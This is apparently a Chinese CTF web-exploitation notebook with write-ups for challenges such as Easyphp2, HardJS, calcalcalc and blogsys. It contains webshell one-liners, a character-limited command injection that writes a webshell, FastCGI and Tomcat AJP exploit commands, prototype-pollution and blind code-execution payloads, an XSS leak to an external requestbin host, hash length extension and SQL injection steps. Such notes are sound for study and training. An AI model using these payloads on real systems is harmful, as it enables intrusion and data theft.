Phuck2
data伪协议:data:,xxx
- data伪协议的另一种用法
1 | (1)常规 |
- 自定义目录为
xxx
,利用data:,xxx/profile
绕过,从而包含文件xxx/profile
中的一句话
1 |
|
[羊城杯 2020]Easyphp2
php://filter特殊过滤器绕过
1 | php://filter/read=convert.iconv.utf-8.utf-7/resource= |
解码
1 | $str = file_get_contents("./test.txt"); |
/proc/?/environ 爆破环境变量
1 | /proc/?/environ |
命令执行拼接fuzz
- 拼接
1 | | || && & ; |
- bypass
<?php
和;
1 | <?=@eval($_POST[diggid])> |
蚁剑shell无法切换用户时调命令
1 | printf "GWHTCTF" | su GWHT -c 'cat /GWHT/system/of/a/down/flag.txt' |
ctf473831530_2018_web_virink_web
限制字符的命令注入(5、6、7)
这里的是限制20个字符,那太简单了,都不需要完全用到5、6、7字符的trick
1 | echo 'ls -t>g'>f |
先生成一个文件f,内容是ls -t>g
,再把下面这段
1 | echo PD9waHAgQGV2YWwoJF9QT1NUW2RpZ2dpZF0pOz8+|base64 -d>1.php |
拆分成20字符以内的子串,特殊字符\(空格)|><
需要转义,最后留两个\\
用来连接命令,然后执行sh f
生成g文件,再执行sh g
写入webshell
内网探测(fib_trie、未授权访问端口)
没有ifconfig命令如何查看本机的ip段:
cat /proc/net/fib_trie
组合探测内网存活主机和未授权\危险端口
1 |
|
php-fpm 9000
打fastcgi 9000端口RCE(已知一php文件绝对路径)
1 | python3 fpm.py x.x.x.x /www/redirect.php -p [port] -c \"<?php system('ls /');?>\" //在蚁剑内用的话 |
rsync未授权访问导致给定目录的任意文件读
关于rsync的其他详细内容:
rsync daemon是向外提供服务的,这样只要告诉了别人rsync的url路径,外人就能向ftp服务器一样获取文件列表并进行选择性地下载。
rsync daemon是”rsync –daemon”或再加上其他一些选项启动的,它会读取配置文件,默认是/etc/rsyncd.conf,并默认监听在873端口上,当外界有客户端对此端口发起连接请求,通过这个网络套接字就可以完成连接,以后与该客户端通信的所有数据都通过该网络套接字传输。
以下是rsync client连接rsync daemon时的命令语法:
1
2
3
4 >Pull: rsync [OPTION...] [USER@]HOST::SRC... [DEST]
rsync [OPTION...] rsync://[USER@]HOST[:PORT]/SRC... [DEST]
>Push: rsync [OPTION...] SRC... [USER@]HOST::DEST
rsync [OPTION...] SRC... rsync://[USER@]HOST[:PORT]/DEST
- 配置文件格式:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25 >######### 全局配置参数 ##########
>port=888 # 指定rsync端口。默认873
>uid = rsync # rsync服务的运行用户,默认是nobody,文件传输成功后属主将是这个uid
>gid = rsync # rsync服务的运行组,默认是nobody,文件传输成功后属组将是这个gid
>use chroot = no # rsync daemon在传输前是否切换到指定的path目录下,并将其监禁在内
>max connections = 200 # 指定最大连接数量,0表示没有限制
>timeout = 300 # 确保rsync服务器不会永远等待一个崩溃的客户端,0表示永远等待
>motd file = /var/rsyncd/rsync.motd # 客户端连接过来显示的消息
>pid file = /var/run/rsyncd.pid # 指定rsync daemon的pid文件
>lock file = /var/run/rsync.lock # 指定锁文件
>log file = /var/log/rsyncd.log # 指定rsync的日志文件,而不把日志发送给syslog
>dont compress = *.gz *.tgz *.zip *.z *.Z *.rpm *.deb *.bz2 # 指定哪些文件不用进行压缩传输
>###########下面指定模块,并设定模块配置参数,可以创建多个模块###########
>[Module_name] # 模块ID
>path = /longshuai/ # 指定该模块的路径,该参数必须指定。启动rsync服务前该目录必须存在。rsync请求访问模块本质就是访问该路径。
>ignore errors # 忽略某些IO错误信息
>read only = false # 指定该模块是否可读写,即能否上传文件,false表示可读写,true表示可读不可写。所有模块默认不可上传
>write only = false # 指定该模式是否支持下载,设置为true表示客户端不能下载。所有模块默认可下载
>list = false # 客户端请求显示模块列表时,该模块是否显示出来,设置为false则该模块为隐藏模块。默认true
>hosts allow = 10.0.0.0/24 # 指定允许连接到该模块的机器,多个ip用空格隔开或者设置区间
>hosts deny = 0.0.0.0/32 # 指定不允许连接到该模块的机器
>auth users = rsync_backup # 指定连接到该模块的用户列表,只有列表里的用户才能连接到模块,用户名和对应密码保存在 secrts file中,这里使用的不是系统用户,而是虚拟用户不设置时,默认所有用户都能连接,但 使用的是匿名连接
>secrets file = /etc/rsyncd.passwd # 保存auth users用户列表的用户名和密码,每行包含一个username:passwd。由 于"strict modes"
# 默认为true,所以此文件要求非rsync daemon用户不可读写。只有启用了auth users该选项才有效。主要关注模块名[Module_name] 、映射的path、是否可读写、黑白名单(hosts allow/deny)、认证机制(auth users)
如果未设置认证机制和黑白名单、并且可读、那么就存在未授权访问导致的任意文件下载
其他的坑
蚁剑上一些需要回显结果的操作(如内网探测、端口探测等),尽量写在一个文件里,因为有时候回显问题比较迷
蚁剑上的双引号字符转义问题(还不太清楚)
双引号内包含<?>$
等特殊字符时,外面的双引号需要转义,否则会报错
1 | echo \"<?php xxx?>\" |
- python的requests模块发GET请求对某些字符不url编码,如果发出的数据中带有
+&=
等,一定要quote
[WUSTCTF2020]easyweb
报错leak信息
置空url参数,导致tomcat报错爆出路径
任意文件下载(读)
这个不多说了
tomcat ajp文件包含漏洞(任意文件读、文件上传toRCE)
https://apkash8.medium.com/hunting-and-exploiting-apache-ghostcat-b7446ef83e74
exp用法:
先传个大马上去,这个大马可以执行任意命令,然后用tomcat ajp的exp打一下
1 | python3 ajpShooter.py [IP/HOST] [PORT/8009] [Path-To-Shell] [eval/read] |
[网鼎杯 2020 半决赛]BabyJS
SSRF bypass 127.0.0.1
1 | 127.0.0.1 |
url.parse解析单引号特性(%27@)
当解析一个完整的url时,在url的auth部分会把@
前出现的url编码转换为字符,也就是把auth的部分自动进行一次url解码,如果不是在http://xxx%27@/
的形式,则不会进行额外的解码,如http://xxx/%27@
就不会解码
1 | var url=require('url'); |
[Zer0pts2020]musicblog
strip_tags
过滤标签的绕过
CSP如下
1 | Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'nonce-P7VxWD8D7JQoD/c/tLQz4Q==' 'strict-dynamic'; base-uri 'none'; trusted-types |
看到上面的csp基本上没办法绕,并且题目使用的是strip_tags
函数过滤的,过滤很严,但问题也在此
1 | echo strip_tags("</audio>","<audio>") |
上面两种情况都不会被过滤,看一下第二种情况,有没有发现一个a被独立出来了,没错<a/udio>
会被浏览器解析为
1 | <a udio> |
从而我们就逃逸出了一个<a>
标签,这题是leak flag,只需要admin点击标签id=like
的链接,即可发送请求获得flag
payload:
1 | <a/udio id=like href="http://http.requestbin.buuoj.cn/ycbx95yc"> |
[XNUCA2019Qualifier]HardJS
考察:
原型链污染 + 第三方库的利用链挖掘
iframe中的沙箱绕过
trick
1 | {"type":"notice","content":{"constructor":{"prototype":{"client":true,"escapeFunction":"1; return process.env.FLAG"}}}} |
[RCTF2019]calcalcalc
这题是@zsx师傅出的calc家族的一系列题,还包括0ctf和De1tactf的两道
由于是Typescript写的,源码比较难啃,这里建议抓住重点来看,官方wp
审计js代码的一些思路
看package.json找入口文件
审计Typescript或其他js的代码,其实和java一样,有时候需要关注模块或库的源码
常见的题目类型:原型链污染、类型混淆绕过、SSRF、沙箱逃逸toRCE
bodyparser支持json to 类型绕过
nextjs + express的bodyparser默认支持传入json数组,只需要修改application/json
,因此对于bool状态,可以利用json获取真正的true或false,如果是post直接传入的话,获取的是字符串”true”或”false”,因此就无法绕过以下过滤
1 | if (!(args.object as CalculateModel).isVip) // isVip == true 才可绕过,isVip == "true"不可以过 |
无回显时python 任意代码执行 + 时间盲注
首先这道题为什么回定位到时间盲注上,为什么不能直接回显flag,下面的代码按理是可以回显flag的
1 | return bson.BSON.encode({ |
首先这道题是由三个后端执行器来执行我们传入的代码,执行顺序分别是node->php->python,因此我们传入的执行python的代码在前面两个语言执行时会报错,然后页面回显的结果自然是(测试也可以知道)
因此我们就只能在最后执行python时使用时间盲注来leak。
我们再来看看代码对于我们输入的过滤逻辑,审计可以知道,输入三个后端的参数都会过ExpressionValidator,其而在calculate.model.ts中,又会调用一个过滤函数ExpressionValidator
,在expression.validator.ts
中
1 | export function ExpressionValidator(property: number, validationOptions?: ValidationOptions) { |
根据上面的注释
使isVip为true来绕过长度限制
输入的数据只能有以上组合,针对python,我们可以使用
eval(chr()+chr()+...)
的方式绕过,从而达到代码执行的效果
对于isVip为true,我们可以利用传入json数据(nextjs + express),来使得isVip为true
1 | {"isVip":true} |
然后我们就可以进行python任意代码执行的盲注了
1 | __import__('time').sleep(3) if ord(open('/flag').read()[%d]) > %d else 1 |
exp
1 | import requests |
[极客大挑战 2020]Roamphp2-Myblog
置空Session弱类型绕过
1 | if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']) |
很明显session的地方直接可以绕过
文件包含 + zip://伪协议
上传时黑名单ban掉.php
文件包含时默认添加.php后缀
绕过方式,利用zip://伪协议
1 | zip://[相对/绝对路径]/filename.xxx#filename.xxx |
filename需要一样,注意%23的URL编码,任意后缀都可以
[羊城杯 2020]EasySer
php://filter伪协议写文件来绕过代码拼接
1 | $d = '<?php die("nononon");?>'; |
伪协议写一句话
1 | $this->file = "php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php" |
[SWPUCTF 2016]Web blogsys
变量覆盖
关于变量覆盖的问题,有几点需要明晰:
敏感特征:
extract(array("a"=>"b"))
$$a
变量覆盖的位置:
开头:在开头的话受限比较大,可能会导致覆盖的变量再后序代码中被重覆盖,所以我们需要判断哪些变量在后序代码中不会被重覆盖,这些变量可能就是漏洞利用点,比如这题的
$id
中间或结尾部分:思路和开头一样,但是局限性可能会小一些
覆盖什么:根据实际情况而定
逻辑漏洞 + sql注入
这一点在题解结合着讲。
哈希长度扩展攻击
利用条件:
1 | $hash1 = md5($salt.$m1) |
可以推算出任意$hash2
的值:
1 | $hash2 = md5($salt.$m1.$padding.$m2) |
已知
$salt
长度 => 得到$padding
的填充长度已知
$hash1
=> 即已知加密$m2
的初始链变量 => 用$hash1
小端逆序后得到的初始链变量加密$m2
即可得到$hash2
攻击原理相当于我们模拟了一次对于$m2
的加密过程,由于$salt.$m1
原先长度小于512位(64字节),因此只能当做一组,而我们人为填充$padding
至$salt.$m1.$padding
为64字节作为一组,而$m2
作为下一组的消息,也就相当于我们强行增加了一轮md5的加密,在这轮加密中,我们知道初始链变量$hash1
,据此可以算出任意$m2
对应的$hash2
,从而达到可控$hash2
(结论:如果知道最后一轮的初始链变量,即上一轮的hash值,便可控制最后输出的md5的值)
举个可以绕过的例子:
1 | if($hash2 = md5($salt.$m1.$padding.$m2) && stripos("admin",$a)){...} |
防御手段:
- 双hash:最外围的一次hash我们无法控制其值
1 | hash(secret + hash(secret + message)) |
- 把secret(
$salt
)的值放在拼接的最后
1 | hash(message + secret) |
由于我们需要这样的形式
1 | hash(salt + m1 + padding + m2) |
但如果secret在后面,则是这样
1 | hash(m1 + padding + m2 + secret) |
由于不知道secret
的值,导致m2 + secret
的部分不可控,从而就无法控制hash
参考:
https://xz.aliyun.com/t/2563#toc-10
https://www.smi1e.top/hello-world/#HASH
题解
首先这题是当着白盒来做了,把源码拉了下来,主要文件及其逻辑如下:
api.php:定义了一个admin类,存在反序列化的入口,并且存在三个和逻辑功能不太相符的函数,漏洞点:
del_msg:删除日记信息
del_user:删除用户,但是需要过check函数的过滤
check:过滤,其中含有哈希长度扩展攻击漏洞
1 | if ($this->check === md5($result['salt'] . $this->data . $username)){...} |
- common.php:审计可以发现,所有文件都包含了该文件,而且该文件中存在变量覆盖漏洞,那么也就导致所有文件都存在变量覆盖,下面这么写的确可以让每一个文件都可以具备扩展性的参数,如
repass.php?username=xxx&check=xxx&...
,但是不安全
1 | foreach (Array("_POST", "_GET", "_COOKIE") as $key) { |
forget.php:忘记密码处,存在信息泄露,也可以说是一个越权
guestbook.php:编辑并提交日记
index.php:入口,提供了注册或登录的功能,在session中设置了userid,还可以知道flag是存放在数据库的flag表的flag字段
logoff.php:注销功能
repass.php:修改密码功能
riji.php:当
$_SESSION['login'] == 1
也就是登录后显示的页面,该页面用于查询日记,可以leak flag
上面简单分析了各个文件的逻辑和出现的漏洞,现在我们需要把这些漏洞连接起来打一套组合拳。
首先是看到flag存放在数据库中,所以我们肯定是要通过sql注入的方式把flag取出来,那么全局查找一下几个sql语句的点,发现有一处没有用引号拼接:在riji.php
1 | $sql1 = "select * from msg where userid= $id order by id"; |
前面说到了每一个文件都存在变量覆盖漏洞,因此这里的$id
是可以通过传参来控制的,我们现在要确定的就是这个$id
在前面有没有被重覆盖,往上看
1 | if (@$_SESSION['login'] !== 1) { |
这里要求首先需要在登录状态,即$_SESSION['login'] == 1
。其次,我们看到这里$id = intval($result['userid']);
,我们需要绕过,因此就需要$result['userid']
为空或者false。而这里的result相当于存在一用户的信息并查询出来得到的结果。如果我们删除了该用户 ,并且保持在登录状态,那么就可以绕过这里了达到完全控制$id
而在api.php中的del_user实现了这一功能
1 |
|
这里要想构造序列化数据从而实现任意用户删除,就必须先过check函数,注意check函数关键语句
1 | if ($this->check === md5($result['salt'] . $this->data . $username)) |
这里的$this->check $this->data $username($this->name)
都是可控的,但是$result['salt']
我们是不知道的。这里就需要利用forget.php
的一处信息泄露来leak出admin的salt值,从而实现hash长度扩展攻击
1 | if (@$forget == 1) { |
我们在找回密码处提交$username
为admin,从而在header的重定向请求中可以得到admin的salt值
1 | http://7156fd63-4eea-437b-848a-b32970ab131b.node3.buuoj.cn/repass.php?username=admin&check=YWI0ZDIyOTI1ZDI2OGRkNjkzN2U0MWVkYmU4MWU5N2U=&mibao=123&pass=123 |
得到salt值后,便可利用hash长度扩展攻击的exp来生成padding($this->data
)
padding:
1 | \x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00 |
$this->check
1 | 6122c04e8a1f3529d556199960ef2556 |
因此我们可以构造序列化数据来实现删除我们注册的用户,这里注册了dig
,user_id为2(可以从session中得到)
1 | class admin{ |
至此,数据都payload都准备好了,接下来一步一步来实现
- 登录dig用户,来到riji.php页面,准备好sql注入的语句
1 | -1 union select 1,2,flag from flag |
- 新开一个浏览器,或者开一个隐私窗口,然后在api.php传入序列化数据
1 | http://7156fd63-4eea-437b-848a-b32970ab131b.node3.buuoj.cn/api.php?api=Tzo1OiJhZG1pbiI6NTp7czo0OiJuYW1lIjtzOjU6ImFkbWluIjtzOjU6ImNoZWNrIjtzOjMyOiI2MTIyYzA0ZThhMWYzNTI5ZDU1NjE5OTk2MGVmMjU1NiI7czo0OiJkYXRhIjtzOjQ4OiKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAiO3M6NjoibWV0aG9kIjtzOjg6ImRlbF91c2VyIjtzOjY6InVzZXJpZCI7czoxOiI0Ijt9 |
- 在原来的riji.php浏览器执行sql语句即可得到flag
注意在另一窗口执行删除用户时,不需要登录,如果登录了然后注销,则原窗口session中的user也会一起删除,这样会使得注入失效,直接执行
exit();
)
[WUSTCTF2020]Train Yourself To Be Godly
这道题buuoj环境上有点问题,不知道是不是内置了waf,用/..;/manager/html
就会爆502,但是这道题还是值得学习一下的,尤其是对于中间件的一些解析差异导致的一些目录穿越问题
tomcat+nginx解析差异导致目录穿越
这题是用Nginx做反向代理(从502可以猜测出来),tomcat做真实的后端服务器,从而存在目录穿越的问题。
由于中间件的一些特性,将会导致目录穿越。比如这样的一个路径/a;hack/b/
,Nginx会认为其是一个合法的请求并将其转发到后端的Tomcat进行解析,而Tomcat做解析的时候会自动忽略掉一些脏数据,比如;.*
等,所以Tomcat解析出来的路径是/ahack/b/
,而如果我们正常在根路径下的使用/../
是无法绕过Nginx穿越到上级目录的,而这里我们可以构造路径/..;/
,Nginx会认为我们要访问..;
这个目录,因此其会将该路径请求不做其他处理转发给Tomcat,Tomcat会解析为../
从而穿越到上级目录。
而在Tomcat中,有一个后台界面,/manager/html,一般是需要删除的,而这里就是漏洞所在,我们可以通过/..;/manager/html
来访问到这个后台登录界面。
其他可能导致目录穿越的poc:
tomcat 后台弱口令
后台界面
/manager/html
默认用户tomcat 和 role1
默认账密:tomcat / manager
这题可以爆破出默认账密tomcat/tomcat,登录即可看到后台管理界面有一个文件上传
401 HTTP Authorization
打包jsp为war,或者直接上传jsp也可以,打包命令
1 | jar cvf shell.war shell.jsp |
然后上传发现,返回了一个401的状态码,401状态码是一个请求认证的状态码,具体内容参考
在HTTP字段中的认证格式为
1 | Authorization: Basic base64-encode(username:password) |
由于之前爆破除了tomcat:tomcat,因此这里的认证字段
1 | Authorization: Basic dG9tY2F0OnRvbWNhdA== |
再一次发包过去,发现不返回401了,但是返回了个403
修改Cookie的Path
前面爆出403的原因就是没权限,观察一下可以发现我们在登录manager后台页面的时候是有一个JSESSIONID的,并且可以发现这个JSESSION的path是这样
1 | Path=/manager |
这里估计是出题人留的一个坑,显然如果以/manager
的cookie路径去访问是不行的,因为我们前面是通过目录穿越访问的上级目录的/..;/manager/html
,而这里的cookie path是当前目录下的/manager
,所以我们需要修改一下cookie path(cookie的所有属性都是客户端完全可控的),这里通过一个小插件修改一下,也可以通过burp抓响应包来改
然后再发送一次我们的请求,这时候终于返回200了